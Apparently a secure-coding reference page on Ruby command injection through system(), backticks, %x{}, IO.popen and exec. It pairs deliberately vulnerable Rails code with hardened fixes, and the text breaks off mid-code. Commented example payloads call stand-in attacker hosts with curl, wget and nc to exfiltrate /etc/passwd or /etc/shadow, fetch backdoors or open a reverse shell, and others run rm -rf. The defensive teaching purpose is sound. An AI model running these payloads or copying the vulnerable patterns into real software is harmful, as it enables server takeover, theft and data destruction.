Ruby Shell Command Injection

Critical Risk Command Injection
rubycommand-injectionsystemexecbackticksshellrceuser-input

What it is

A critical security vulnerability in Ruby applications where user-controlled input is passed to system execution methods like system(), exec(), backticks (`), %x{}, or IO.popen() without proper sanitization. This allows attackers to execute arbitrary system commands on the server, potentially leading to complete system compromise, data exfiltration, or remote code execution. Ruby's flexible syntax and multiple command execution methods make it particularly susceptible to injection attacks.

# VULNERABLE: Rails controller with multiple command injection vulnerabilities
class FileProcessingController < ApplicationController
  
  # VULNERABLE: system() with user input
  def backup_file
    filename = params[:filename]
    destination = params[:destination] || '/tmp/backups'
    
    # Basic validation (insufficient)
    if filename.present? && destination.present?
      # DANGEROUS: Direct string interpolation in system call
      if system("cp /app/uploads/#{filename} #{destination}/#{filename}.bak")
        render json: { message: 'Backup successful' }, status: :ok
      else
        render json: { error: 'Backup failed' }, status: :internal_server_error
      end
    else
      render json: { error: 'Missing parameters' }, status: :bad_request
    end
  end
  
  # VULNERABLE: Backticks with user input
  def analyze_file
    filename = params[:filename]
    
    if filename.present?
      # DANGEROUS: Backticks with user input
      file_info = `file --mime-type /app/uploads/#{filename}`
      file_size = `du -h /app/uploads/#{filename}`
      
      render json: {
        file_info: file_info.strip,
        file_size: file_size.strip
      }
    else
      render json: { error: 'Filename required' }, status: :bad_request
    end
  end
  
  # VULNERABLE: %x{} syntax with user input
  def compress_files
    files = params[:files] # Array of filenames
    archive_name = params[:archive_name]
    format = params[:format] || 'tar.gz'
    
    if files.present? && archive_name.present?
      file_list = files.join(' ')
      
      # DANGEROUS: %x{} with user input
      result = %x{cd /app/uploads && tar -czf /app/archives/#{archive_name}.#{format} #{file_list}}
      
      if $?.success?
        render json: { message: 'Archive created successfully' }
      else
        render json: { error: 'Archive creation failed' }
      end
    else
      render json: { error: 'Missing parameters' }, status: :bad_request
    end
  end
  
  # VULNERABLE: IO.popen with user input
  def search_in_file
    filename = params[:filename]
    pattern = params[:pattern]
    
    if filename.present? && pattern.present?
      # DANGEROUS: User input in pipe command
      results = []
      IO.popen("grep -n '#{pattern}' /app/uploads/#{filename}") do |pipe|
        pipe.each_line do |line|
          results << line.strip
        end
      end
      
      render json: { results: results }
    else
      render json: { error: 'Filename and pattern required' }, status: :bad_request
    end
  end
  
  # VULNERABLE: Process.spawn with user input
  def convert_image
    input_file = params[:input_file]
    output_format = params[:output_format]
    quality = params[:quality] || '80'
    resize = params[:resize]
    
    if input_file.present? && output_format.present?
      input_path = "/app/uploads/#{input_file}"
      output_path = "/app/converted/#{input_file.gsub(/\.[^.]+$/, ".#{output_format}")}"
      
      # Build command with user input
      command = "convert #{input_path} -quality #{quality}"
      command += " -resize #{resize}" if resize.present?
      command += " #{output_path}"
      
      # DANGEROUS: Process.spawn with shell command string
      pid = Process.spawn(command)
      Process.wait(pid)
      
      if $?.success?
        render json: { message: 'Conversion successful', output_file: File.basename(output_path) }
      else
        render json: { error: 'Conversion failed' }
      end
    else
      render json: { error: 'Missing parameters' }, status: :bad_request
    end
  end
  
  # VULNERABLE: exec() in background job
  def process_video
    video_file = params[:video_file]
    output_format = params[:output_format] || 'mp4'
    
    if video_file.present?
      # DANGEROUS: exec in forked process
      fork do
        input_path = "/app/videos/#{video_file}"
        output_path = "/app/processed/#{video_file.gsub(/\.[^.]+$/, ".#{output_format}")}"
        
        # Replace current process with ffmpeg
        exec("ffmpeg -i #{input_path} -c:v libx264 -c:a aac #{output_path}")
      end
      
      render json: { message: 'Video processing started' }
    else
      render json: { error: 'Video file required' }, status: :bad_request
    end
  end
  
  # VULNERABLE: Network operations with user input
  def network_test
    host = params[:host]
    port = params[:port]
    test_type = params[:test_type] || 'ping'
    
    if host.present?
      case test_type
      when 'ping'
        # DANGEROUS: system with user input
        result = system("ping -c 3 #{host}")
        
      when 'port_scan'
        # DANGEROUS: backticks with user input
        result = `nmap -p #{port} #{host}` if port.present?
        
      when 'traceroute'
        # DANGEROUS: %x{} with user input
        result = %x{traceroute #{host}}
      end
      
      render json: { result: result }
    else
      render json: { error: 'Host required' }, status: :bad_request
    end
  end
end

# Example attack payloads:
# POST /backup_file with filename="test.txt; rm -rf /app; echo"
# GET /analyze_file?filename="../../../etc/passwd; wget http://evil.com/backdoor.rb; ruby backdoor.rb; echo"
# POST /compress_files with files=["file1.txt", "'; curl -X POST -d @/etc/shadow http://attacker.com/steal; echo '.txt"]
# POST /search_in_file with pattern="'; cat /etc/passwd | nc attacker.com 1234; echo '"
# POST /convert_image with resize="100x100'; rm -rf /home/user; echo '"
# POST /network_test with host="google.com; cat /etc/passwd; echo" and test_type="ping"
require 'fileutils'
require 'open3'
require 'timeout'
require 'digest'

# SECURE: Rails controller with proper input validation and safe operations
class SecureFileProcessingController < ApplicationController
  before_action :validate_and_sanitize_params
  before_action :rate_limit_user
  before_action :log_security_event
  
  # Security configuration
  MAX_FILE_SIZE = 100.megabytes
  ALLOWED_EXTENSIONS = %w[.txt .csv .json .xml .log .pdf .jpg .png .gif].freeze
  ALLOWED_DIRECTORIES = {
    uploads: Rails.root.join('app', 'uploads'),
    backups: Rails.root.join('app', 'backups'),
    converted: Rails.root.join('app', 'converted'),
    archives: Rails.root.join('app', 'archives')
  }.freeze
  
  # SECURE: File backup using Ruby FileUtils
  def backup_file
    filename = params[:filename]
    
    begin
      # Comprehensive validation
      validate_filename(filename)
      
      source_path = secure_path(:uploads, filename)
      backup_filename = generate_backup_name(filename)
      backup_path = secure_path(:backups, backup_filename)
      
      # Verify source file exists and is accessible
      unless File.exist?(source_path) && File.readable?(source_path)
        return render json: { error: 'Source file not found or not accessible' }, 
                      status: :not_found
      end
      
      # Check file size
      if File.size(source_path) > MAX_FILE_SIZE
        return render json: { error: 'File too large for backup' }, 
                      status: :payload_too_large
      end
      
      # Ensure backup directory exists
      FileUtils.mkdir_p(File.dirname(backup_path))
      
      # SECURE: Use Ruby's FileUtils instead of system commands
      FileUtils.copy_file(source_path, backup_path, preserve: true)
      
      # Verify backup integrity
      unless verify_backup_integrity(source_path, backup_path)
        File.delete(backup_path) if File.exist?(backup_path)
        return render json: { error: 'Backup integrity verification failed' }, 
                      status: :internal_server_error
      end
      
      Rails.logger.info("Backup successful: #{filename} -> #{backup_filename}")
      
      render json: {
        message: 'Backup completed successfully',
        backup_filename: backup_filename,
        original_size: File.size(source_path),
        backup_size: File.size(backup_path)
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in backup_file: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Backup error: #{e.message}")
      render json: { error: 'Backup operation failed' }, status: :internal_server_error
    end
  end
  
  # SECURE: File analysis using Ruby's built-in methods
  def analyze_file
    filename = params[:filename]
    
    begin
      validate_filename(filename)
      
      file_path = secure_path(:uploads, filename)
      
      unless File.exist?(file_path)
        return render json: { error: 'File not found' }, status: :not_found
      end
      
      # SECURE: Use Ruby's File methods instead of system commands
      analysis_result = analyze_file_secure(file_path)
      
      render json: {
        message: 'File analysis completed',
        analysis: analysis_result
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in analyze_file: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Analysis error: #{e.message}")
      render json: { error: 'File analysis failed' }, status: :internal_server_error
    end
  end
  
  # SECURE: File compression using Ruby libraries
  def compress_files
    files = params[:files]
    archive_name = params[:archive_name]
    
    begin
      # Validate inputs
      unless files.is_a?(Array) && files.all? { |f| f.is_a?(String) }
        return render json: { error: 'Files must be an array of strings' }, 
                      status: :bad_request
      end
      
      validate_filename(archive_name)
      
      # Validate each file
      files.each { |filename| validate_filename(filename) }
      
      # Check file count limit
      if files.length > 50
        return render json: { error: 'Too many files (max 50)' }, 
                      status: :payload_too_large
      end
      
      # SECURE: Use Ruby libraries for compression
      archive_path = create_archive_secure(files, archive_name)
      
      render json: {
        message: 'Archive created successfully',
        archive_name: File.basename(archive_path),
        files_count: files.length,
        archive_size: File.size(archive_path)
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in compress_files: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Compression error: #{e.message}")
      render json: { error: 'Archive creation failed' }, status: :internal_server_error
    end
  end
  
  # SECURE: File search using Ruby's built-in methods
  def search_in_file
    filename = params[:filename]
    pattern = params[:pattern]
    
    begin
      validate_filename(filename)
      validate_search_pattern(pattern)
      
      file_path = secure_path(:uploads, filename)
      
      unless File.exist?(file_path)
        return render json: { error: 'File not found' }, status: :not_found
      end
      
      # SECURE: Use Ruby's file reading instead of grep
      search_results = search_in_file_secure(file_path, pattern)
      
      render json: {
        message: 'Search completed',
        results: search_results,
        matches_count: search_results.length
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in search_in_file: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Search error: #{e.message}")
      render json: { error: 'File search failed' }, status: :internal_server_error
    end
  end
  
  # SECURE: Image conversion using Ruby libraries or safe external calls
  def convert_image
    input_file = params[:input_file]
    output_format = params[:output_format]
    quality = params[:quality]&.to_i || 85
    
    begin
      validate_image_filename(input_file)
      validate_image_format(output_format)
      validate_quality(quality)
      
      input_path = secure_path(:uploads, input_file)
      
      unless File.exist?(input_path)
        return render json: { error: 'Input file not found' }, status: :not_found
      end
      
      # SECURE: Use safe image processing
      output_filename = convert_image_secure(input_path, output_format, quality)
      
      render json: {
        message: 'Image conversion completed',
        output_file: output_filename
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in convert_image: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Conversion error: #{e.message}")
      render json: { error: 'Image conversion failed' }, status: :internal_server_error
    end
  end
  
  # SECURE: Network testing using Ruby's built-in networking
  def network_test
    host = params[:host]
    port = params[:port]&.to_i
    test_type = params[:test_type]
    
    begin
      validate_hostname(host)
      validate_port(port) if port
      validate_test_type(test_type)
      
      # SECURE: Use Ruby's networking instead of system commands
      test_result = perform_network_test_secure(host, port, test_type)
      
      render json: {
        message: 'Network test completed',
        result: test_result
      }
      
    rescue SecurityError => e
      Rails.logger.warn("Security violation in network_test: #{e.message}")
      render json: { error: 'Security validation failed' }, status: :forbidden
    rescue StandardError => e
      Rails.logger.error("Network test error: #{e.message}")
      render json: { error: 'Network test failed' }, status: :internal_server_error
    end
  end
  
  private
  
  def validate_and_sanitize_params
    # Remove any null bytes or control characters from all string parameters
    params.each do |key, value|
      if value.is_a?(String)
        if value.include?("\0") || value.match?(/[\x00-\x08\x0e-\x1f\x7f]/)
          render json: { error: 'Invalid characters in request' }, status: :bad_request
          return false
        end
      end
    end
  end
  
  def rate_limit_user
    # Implement rate limiting (simplified)
    session_key = "rate_limit_#{request.remote_ip}"
    current_count = Rails.cache.read(session_key) || 0
    
    if current_count >= 60 # 60 requests per hour
      render json: { error: 'Rate limit exceeded' }, status: :too_many_requests
      return false
    end
    
    Rails.cache.write(session_key, current_count + 1, expires_in: 1.hour)
  end
  
  def log_security_event
    Rails.logger.info("API Request: #{action_name} from #{request.remote_ip} at #{Time.current}")
  end
  
  def validate_filename(filename)
    raise ArgumentError, 'Filename cannot be blank' if filename.blank?
    raise ArgumentError, 'Filename too long' if filename.length > 255
    raise SecurityError, 'Invalid filename characters' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise SecurityError, 'Path traversal detected' if filename.include?('..')
    raise SecurityError, 'Hidden files not allowed' if filename.start_with?('.')
    
    extension = File.extname(filename).downcase
    raise SecurityError, 'File extension not allowed' unless ALLOWED_EXTENSIONS.include?(extension)
  end
  
  def validate_image_filename(filename)
    validate_filename(filename)
    
    image_extensions = %w[.jpg .jpeg .png .gif]
    extension = File.extname(filename).downcase
    raise SecurityError, 'Not an image file' unless image_extensions.include?(extension)
  end
  
  def validate_image_format(format)
    allowed_formats = %w[jpg jpeg png gif webp]
    raise ArgumentError, 'Invalid output format' unless allowed_formats.include?(format.downcase)
  end
  
  def validate_quality(quality)
    raise ArgumentError, 'Quality must be between 1 and 100' unless (1..100).include?(quality)
  end
  
  def validate_search_pattern(pattern)
    raise ArgumentError, 'Search pattern cannot be blank' if pattern.blank?
    raise ArgumentError, 'Search pattern too long' if pattern.length > 1000
    raise SecurityError, 'Invalid pattern characters' unless pattern.match?(/\A[a-zA-Z0-9\s._-]+\z/)
  end
  
  def validate_hostname(hostname)
    raise ArgumentError, 'Hostname cannot be blank' if hostname.blank?
    raise ArgumentError, 'Hostname too long' if hostname.length > 253
    
    hostname_pattern = /\A[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*\z/
    raise SecurityError, 'Invalid hostname format' unless hostname.match?(hostname_pattern)
  end
  
  def validate_port(port)
    raise ArgumentError, 'Invalid port range' unless (1..65535).include?(port)
    
    # Restrict to common service ports for security
    allowed_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995]
    raise SecurityError, 'Port not in allowed list' unless allowed_ports.include?(port)
  end
  
  def validate_test_type(test_type)
    allowed_types = %w[ping tcp_connect]
    raise ArgumentError, 'Invalid test type' unless allowed_types.include?(test_type)
  end
  
  def secure_path(directory_key, filename)
    base_dir = ALLOWED_DIRECTORIES[directory_key]
    raise ArgumentError, "Unknown directory: #{directory_key}" unless base_dir
    
    path = base_dir.join(filename)
    real_path = path.realpath
    real_base = base_dir.realpath
    
    unless real_path.to_s.start_with?(real_base.to_s)
      raise SecurityError, "Path traversal detected: #{filename}"
    end
    
    path
  rescue Errno::ENOENT
    # For backup paths that don't exist yet, just check the directory
    path = base_dir.join(filename)
    unless path.to_s.start_with?(base_dir.to_s)
      raise SecurityError, "Path traversal detected: #{filename}"
    end
    path
  end
  
  def generate_backup_name(filename)
    base = File.basename(filename, File.extname(filename))
    ext = File.extname(filename)
    timestamp = Time.current.strftime('%Y%m%d_%H%M%S')
    "#{base}_backup_#{timestamp}#{ext}"
  end
  
  def verify_backup_integrity(source_path, backup_path)
    File.size(source_path) == File.size(backup_path) &&
      Digest::SHA256.file(source_path).hexdigest == Digest::SHA256.file(backup_path).hexdigest
  end
  
  def analyze_file_secure(file_path)
    stat = File.stat(file_path)
    
    {
      filename: File.basename(file_path),
      size: stat.size,
      size_human: humanize_bytes(stat.size),
      permissions: sprintf('%o', stat.mode)[-4..-1],
      created: stat.ctime.iso8601,
      modified: stat.mtime.iso8601,
      accessed: stat.atime.iso8601,
      mime_type: guess_mime_type(file_path),
      readable: File.readable?(file_path),
      writable: File.writable?(file_path)
    }
  end
  
  def search_in_file_secure(file_path, pattern)
    results = []
    line_number = 0
    
    File.foreach(file_path) do |line|
      line_number += 1
      
      if line.include?(pattern)
        results << {
          line_number: line_number,
          content: line.strip,
          match_position: line.index(pattern)
        }
      end
      
      # Prevent memory exhaustion
      break if results.length >= 1000
    end
    
    results
  end
  
  def convert_image_secure(input_path, output_format, quality)
    output_filename = File.basename(input_path, File.extname(input_path)) + ".#{output_format}"
    output_path = secure_path(:converted, output_filename)
    
    # Use MiniMagick (ImageMagick wrapper) for safer image processing
    require 'mini_magick'
    
    image = MiniMagick::Image.open(input_path.to_s)
    image.format(output_format)
    image.quality(quality.to_s)
    image.write(output_path.to_s)
    
    output_filename
  end
  
  def perform_network_test_secure(host, port, test_type)
    case test_type
    when 'ping'
      test_ping_connectivity(host)
    when 'tcp_connect'
      test_tcp_connectivity(host, port)
    else
      raise ArgumentError, "Unsupported test type: #{test_type}"
    end
  end
  
  def test_ping_connectivity(host)
    require 'net/ping'
    
    start_time = Time.current
    
    begin
      ping = Net::Ping::External.new(host)
      success = ping.ping?
      
      {
        success: success,
        host: host,
        response_time: (Time.current - start_time) * 1000, # ms
        message: success ? 'Host is reachable' : 'Host is not reachable'
      }
    rescue StandardError => e
      {
        success: false,
        host: host,
        response_time: 0,
        message: "Ping failed: #{e.message}"
      }
    end
  end
  
  def test_tcp_connectivity(host, port)
    require 'socket'
    require 'timeout'
    
    start_time = Time.current
    
    begin
      Timeout::timeout(5) do
        TCPSocket.new(host, port).close
      end
      
      {
        success: true,
        host: host,
        port: port,
        response_time: (Time.current - start_time) * 1000, # ms
        message: 'Port is open'
      }
    rescue Errno::ECONNREFUSED
      {
        success: false,
        host: host,
        port: port,
        response_time: (Time.current - start_time) * 1000,
        message: 'Connection refused'
      }
    rescue Timeout::Error
      {
        success: false,
        host: host,
        port: port,
        response_time: 5000,
        message: 'Connection timeout'
      }
    rescue StandardError => e
      {
        success: false,
        host: host,
        port: port,
        response_time: 0,
        message: "Connection failed: #{e.message}"
      }
    end
  end
  
  # Helper methods
  def humanize_bytes(bytes)
    units = %w[B KB MB GB TB]
    size = bytes.to_f
    unit_index = 0
    
    while size >= 1024 && unit_index < units.length - 1
      size /= 1024
      unit_index += 1
    end
    
    "%.2f #{units[unit_index]}" % size
  end
  
  def guess_mime_type(file_path)
    # Simple MIME type guessing
    extension = File.extname(file_path).downcase
    
    case extension
    when '.txt' then 'text/plain'
    when '.json' then 'application/json'
    when '.xml' then 'application/xml'
    when '.csv' then 'text/csv'
    when '.pdf' then 'application/pdf'
    when '.jpg', '.jpeg' then 'image/jpeg'
    when '.png' then 'image/png'
    when '.gif' then 'image/gif'
    else 'application/octet-stream'
    end
  end
end

💡 Why This Fix Works

The vulnerable version directly uses system(), backticks, %x{}, IO.popen(), and Process.spawn() with user input, allowing command injection. The secure version uses Ruby's built-in libraries (FileUtils for file operations, File methods for analysis, Socket for network tests), implements comprehensive input validation, adds rate limiting and security logging, and includes proper error handling and path traversal protection.

Why it happens

The system() method executes shell commands and returns true/false based on the exit status. When user input is directly interpolated into system() calls, attackers can inject additional commands using shell metacharacters. Ruby's string interpolation syntax makes this particularly dangerous as it's easy to accidentally include user data in command strings.

Root causes

Unsanitized User Input in system() Method

The system() method executes shell commands and returns true/false based on the exit status. When user input is directly interpolated into system() calls, attackers can inject additional commands using shell metacharacters. Ruby's string interpolation syntax makes this particularly dangerous as it's easy to accidentally include user data in command strings.

Preview example – RUBY
# VULNERABLE: Direct user input in system() method
def backup_file(filename)
  # Dangerous string interpolation
  system("cp #{filename} /backup/#{filename}.bak")
end

def ping_host(hostname)
  # Another vulnerable example
  result = system("ping -c 1 #{hostname}")
  puts result ? "Ping successful" : "Ping failed"
end

# Attack examples:
# backup_file("test.txt; rm -rf /; echo")
# ping_host("google.com; cat /etc/passwd; echo")

Backticks and Command Substitution with User Data

Ruby's backtick operator (`) and %x{} syntax execute shell commands and return the output as a string. These are commonly used for capturing command output but are extremely dangerous when combined with user input. The flexible syntax makes it easy to accidentally include unsanitized user data in command execution.

Preview example – RUBY
# VULNERABLE: Backticks with user input
def get_file_info(filepath)
  # Dangerous backtick usage
  info = `ls -la #{filepath}`
  return info
end

def compress_directory(dirname)
  # %x{} syntax is equally dangerous
  result = %x{tar -czf #{dirname}.tar.gz #{dirname}}
  return result
end

def get_disk_usage(path)
  # Another common pattern
  usage = `du -sh #{path} 2>/dev/null`
  return usage.strip
end

# Attack payloads:
# get_file_info("/tmp; wget http://evil.com/shell.rb; ruby shell.rb; echo")
# compress_directory("docs; curl -X POST -d @/etc/passwd http://evil.com/steal; echo")
# get_disk_usage("/home; nc -e /bin/bash attacker.com 4444; echo")

IO.popen() with Shell Commands

IO.popen() opens a pipe to execute shell commands and allows reading/writing to the process. When user input is included in the command string, it creates injection vulnerabilities. This method is particularly dangerous because it provides both input and output streams to the executed command, potentially allowing more sophisticated attacks.

Preview example – RUBY
# VULNERABLE: IO.popen with user input
def process_data(input_file, filter)
  # Dangerous: user input in pipe command
  IO.popen("cat #{input_file} | grep '#{filter}'") do |pipe|
    return pipe.read
  end
end

def convert_image(source, target_format, quality)
  # Another vulnerable pattern
  IO.popen("convert #{source} -quality #{quality} output.#{target_format}") do |pipe|
    pipe.write("processing...")
    return pipe.read
  end
end

def analyze_log(logfile, pattern)
  # Complex command construction
  command = "awk '/#{pattern}/ {print NR \": \" $0}' #{logfile}"
  IO.popen(command) { |io| io.read }
end

# Attack vectors:
# process_data("data.txt", "'; rm -rf /var/log; echo 'match")
# convert_image("image.jpg'; wget http://evil.com/backdoor.rb; ruby backdoor.rb; echo '", "png", "80")
# analyze_log("app.log'; cat /etc/shadow; echo '", "error")

exec() and Process Replacement Vulnerabilities

The exec() method replaces the current process with the specified command, making it particularly dangerous in web applications or scripts. Unlike system(), exec() doesn't return to the Ruby script, but when used in forks or with user input, it can lead to code execution. Additionally, improper use of Process.spawn() can create similar vulnerabilities.

Preview example – RUBY
# VULNERABLE: exec() with user input
def run_external_tool(tool_name, arguments)
  # Dangerous: replacing process with user input
  exec("#{tool_name} #{arguments}")
end

def launch_application(app_path, config_file)
  # Fork and exec pattern
  fork do
    exec("#{app_path} --config #{config_file}")
  end
end

def run_script_with_params(script, params)
  # Process.spawn can also be vulnerable
  Process.spawn("ruby #{script} #{params}")
end

def execute_user_command(command, args)
  # String interpolation in exec
  if command == "safe_tool"
    exec("#{command} --safe-mode #{args}")
  end
end

# Attack examples:
# run_external_tool("/bin/sh", "-c 'curl http://evil.com/malware.sh | bash'")
# launch_application("/usr/bin/calculator'; rm -rf /home/user; echo '", "config.conf")
# run_script_with_params("backup.rb'; cat /etc/passwd | nc attacker.com 1234; echo '", "")
# execute_user_command("safe_tool'; wget http://evil.com/backdoor; chmod +x backdoor; ./backdoor; echo '", "")

Fixes

1

Use Array Arguments and Avoid Shell Execution

The most secure approach is to pass commands as arrays instead of strings to avoid shell interpretation. Ruby's system() and Process.spawn() methods accept arrays where the first element is the program name and subsequent elements are arguments. This prevents shell metacharacter interpretation and eliminates most injection vulnerabilities.

View implementation – RUBY
# SECURE: Using array arguments to avoid shell interpretation
def backup_file_safe(filename)
  # Validate filename first
  raise ArgumentError, "Invalid filename" unless valid_filename?(filename)
  
  source_path = File.join('/app/uploads', filename)
  backup_path = File.join('/app/backups', "#{filename}.bak")
  
  # Ensure paths exist and are safe
  raise ArgumentError, "Source file not found" unless File.exist?(source_path)
  raise SecurityError, "Path traversal detected" unless safe_path?(source_path)
  
  # SECURE: Use array arguments (no shell interpretation)
  success = system('cp', source_path, backup_path)
  
  unless success
    raise RuntimeError, "Backup operation failed"
  end
  
  backup_path
end

def ping_host_safe(hostname)
  # Comprehensive hostname validation
  raise ArgumentError, "Invalid hostname" unless valid_hostname?(hostname)
  
  # SECURE: Array arguments prevent injection
  success = system('ping', '-c', '1', '-W', '5', hostname)
  
  return success
end

def get_file_info_safe(filepath)
  # Validate and sanitize file path
  raise ArgumentError, "Invalid filepath" unless valid_filepath?(filepath)
  
  safe_path = File.join('/app/data', File.basename(filepath))
  raise ArgumentError, "File not found" unless File.exist?(safe_path)
  
  # SECURE: Use IO.popen with array to avoid shell
  IO.popen(['ls', '-la', safe_path]) do |pipe|
    pipe.read
  end
end

# Helper validation methods
def valid_filename?(filename)
  return false if filename.nil? || filename.empty?
  return false if filename.length > 255
  return false unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
  return false if filename.include?('..') || filename.start_with?('.')
  true
end

def valid_hostname?(hostname)
  return false if hostname.nil? || hostname.empty?
  return false if hostname.length > 253
  # RFC compliant hostname pattern
  pattern = /\A[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*\z/
  hostname.match?(pattern)
end

def valid_filepath?(filepath)
  return false if filepath.nil? || filepath.empty?
  return false if filepath.include?('..')
  return false unless filepath.match?(/\A[a-zA-Z0-9._\/-]+\z/)
  true
end

def safe_path?(path)
  # Ensure path is within allowed directories
  allowed_dirs = ['/app/uploads', '/app/data', '/tmp/safe']
  real_path = File.realpath(path)
  
  allowed_dirs.any? { |dir| real_path.start_with?(File.realpath(dir)) }
rescue Errno::ENOENT
  false
end
2

Implement Comprehensive Input Validation and Sanitization

Create robust input validation using allowlists (whitelists) and regular expressions. Validate all user input before using it in any system operation. Use Ruby's built-in validation methods and create custom validators for specific use cases. Always validate on the server side and use strict patterns.

View implementation – RUBY
# SECURE: Comprehensive input validation framework
module InputValidator
  # Filename validation with strict allowlist
  def self.validate_filename(filename)
    errors = []
    
    if filename.nil? || filename.strip.empty?
      errors << "Filename cannot be empty"
      return errors
    end
    
    filename = filename.strip
    
    # Length validation
    errors << "Filename too long (max 255 characters)" if filename.length > 255
    errors << "Filename too short (min 1 character)" if filename.length < 1
    
    # Character allowlist validation
    unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
      errors << "Filename contains invalid characters (allowed: a-z, A-Z, 0-9, ., _, -)"
    end
    
    # Security checks
    errors << "Filename cannot contain path traversal sequences" if filename.include?("..")
    errors << "Filename cannot start with dot" if filename.start_with?(".")
    errors << "Filename cannot be only dots" if filename.match?(/\A\.+\z/)
    
    # Extension validation
    allowed_extensions = %w[.txt .csv .json .xml .log .pdf .jpg .png .gif]
    extension = File.extname(filename).downcase
    unless allowed_extensions.include?(extension)
      errors << "File extension not allowed (#{extension})"
    end
    
    errors
  end
  
  # Hostname validation with comprehensive checks
  def self.validate_hostname(hostname)
    errors = []
    
    if hostname.nil? || hostname.strip.empty?
      errors << "Hostname cannot be empty"
      return errors
    end
    
    hostname = hostname.strip.downcase
    
    # Length validation
    errors << "Hostname too long (max 253 characters)" if hostname.length > 253
    
    # Format validation - RFC compliant
    hostname_pattern = /\A[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*\z/
    unless hostname.match?(hostname_pattern)
      errors << "Invalid hostname format"
    end
    
    # Additional security checks
    errors << "Hostname cannot contain control characters" if hostname.match?(/[\x00-\x1f\x7f]/)
    
    # Check for suspicious patterns
    suspicious_patterns = [
      /[;&|`$(){}\[\]<>"'\\]/, # Shell metacharacters
      /\s/,                    # Whitespace
      /localhost/i,            # Localhost variations
      /127\.0\.0\.1/,          # Loopback IP
      /0\.0\.0\.0/,            # Any IP
    ]
    
    suspicious_patterns.each do |pattern|
      errors << "Hostname contains suspicious patterns" if hostname.match?(pattern)
    end
    
    errors
  end
  
  # Path validation with traversal protection
  def self.validate_path(path, allowed_base_dirs = [])
    errors = []
    
    if path.nil? || path.strip.empty?
      errors << "Path cannot be empty"
      return errors
    end
    
    path = path.strip
    
    # Basic format validation
    unless path.match?(/\A[a-zA-Z0-9._\/-]+\z/)
      errors << "Path contains invalid characters"
    end
    
    # Path traversal checks
    errors << "Path traversal detected" if path.include?("..")
    errors << "Absolute path not allowed" if path.start_with?("/") && allowed_base_dirs.empty?
    
    # Check against allowed directories
    unless allowed_base_dirs.empty?
      begin
        real_path = File.realpath(path)
        allowed = allowed_base_dirs.any? do |base_dir|
          real_base = File.realpath(base_dir)
          real_path.start_with?(real_base)
        end
        
        errors << "Path not in allowed directory" unless allowed
      rescue Errno::ENOENT
        errors << "Path does not exist"
      rescue StandardError => e
        errors << "Path validation error: #{e.message}"
      end
    end
    
    errors
  end
  
  # Command validation with strict allowlist
  def self.validate_command(command)
    errors = []
    
    if command.nil? || command.strip.empty?
      errors << "Command cannot be empty"
      return errors
    end
    
    command = command.strip
    
    # Allowlist of permitted commands
    allowed_commands = %w[
      ping ls cat grep find file du df tar gzip gunzip
      convert identify ffmpeg ffprobe curl wget
    ]
    
    # Extract command name (first word)
    command_name = command.split.first
    
    unless allowed_commands.include?(command_name)
      errors << "Command not in allowlist: #{command_name}"
    end
    
    # Check for shell metacharacters
    shell_chars = /[;&|`$(){}\[\]<>"'\\]/
    if command.match?(shell_chars)
      errors << "Command contains shell metacharacters"
    end
    
    errors
  end
  
  # Numeric parameter validation
  def self.validate_integer(value, min: nil, max: nil)
    errors = []
    
    # Type conversion and validation
    begin
      int_value = Integer(value)
    rescue ArgumentError, TypeError
      errors << "Value must be a valid integer"
      return errors
    end
    
    # Range validation
    errors << "Value too small (minimum: #{min})" if min && int_value < min
    errors << "Value too large (maximum: #{max})" if max && int_value > max
    
    errors
  end
end

# Usage example with comprehensive validation
class SecureFileManager
  def self.backup_file(filename)
    # Validate input
    validation_errors = InputValidator.validate_filename(filename)
    raise ArgumentError, validation_errors.join(", ") unless validation_errors.empty?
    
    # Additional business logic validation
    source_path = File.join('/app/uploads', filename)
    raise ArgumentError, "Source file not found" unless File.exist?(source_path)
    
    path_errors = InputValidator.validate_path(source_path, ['/app/uploads'])
    raise SecurityError, path_errors.join(", ") unless path_errors.empty?
    
    # Proceed with secure operation
    backup_path = File.join('/app/backups', "#{filename}.bak")
    success = system('cp', source_path, backup_path)
    
    raise RuntimeError, "Backup failed" unless success
    
    backup_path
  end
end
3

Use Ruby Libraries Instead of System Commands

Whenever possible, use Ruby's built-in libraries and gems instead of executing external system commands. Ruby has extensive functionality for file operations, image processing, compression, and network operations through its standard library and community gems. This approach eliminates command injection risks entirely.

View implementation – RUBY
require 'fileutils'
require 'net/http'
require 'uri'
require 'digest'
require 'zlib'
require 'json'
require 'csv'

# SECURE: Using Ruby libraries instead of system commands
class SecureOperations
  # File operations using Ruby's FileUtils instead of system cp/mv
  def self.copy_file_safe(source_filename, dest_filename)
    # Validate inputs
    validate_filename(source_filename)
    validate_filename(dest_filename)
    
    source_path = safe_path('/app/uploads', source_filename)
    dest_path = safe_path('/app/backups', dest_filename)
    
    # Ensure source exists
    raise ArgumentError, "Source file not found" unless File.exist?(source_path)
    
    # Use Ruby's FileUtils instead of system cp
    FileUtils.copy_file(source_path, dest_path, preserve: true)
    
    # Verify copy was successful
